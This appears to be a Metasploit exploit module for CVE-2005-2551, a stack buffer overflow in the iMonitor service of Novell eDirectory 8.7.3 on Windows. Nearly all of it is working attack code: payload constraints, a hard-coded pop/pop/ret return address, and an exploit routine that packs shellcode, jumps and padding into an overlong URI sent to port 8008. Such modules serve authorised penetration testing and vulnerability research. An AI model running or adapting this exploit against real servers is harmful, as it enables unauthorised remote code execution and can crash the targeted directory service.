eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerprint = { :pattern => [ /DHost\//, /HttpStk\// ] } # custom port

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in eDirectory 8.7.3
        iMonitor service. This vulnerability was discovered by Peter
        Winter-Smith of NGSSoftware.

        NOTE: repeated exploitation attempts may cause eDirectory to crash. It does
        not restart automatically in a default installation.
      },
      'Author'         => [ 'Unknown', 'Matt Olney <scacynwrig[at]yahoo.com>' ],
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-2551'],
          [ 'OSVDB', '18703'],
          [ 'BID', '14548'],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 4150,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret
        ],
      'DisclosureDate' => '2005-08-11',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(8008)
      ])
  end

  def exploit
    c = connect

    # pop/pop/ret in ndsimon.dlm on our jump to our shellcode
    uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V')
    uri << "\xe9\xbd\xef\xff\xff"
    uri << "B" * 0xD0

    res = c.send_request(c.request_raw({ 'uri' => uri }))
    select(nil,nil,nil,4)

    handler
    disconnect
  end
end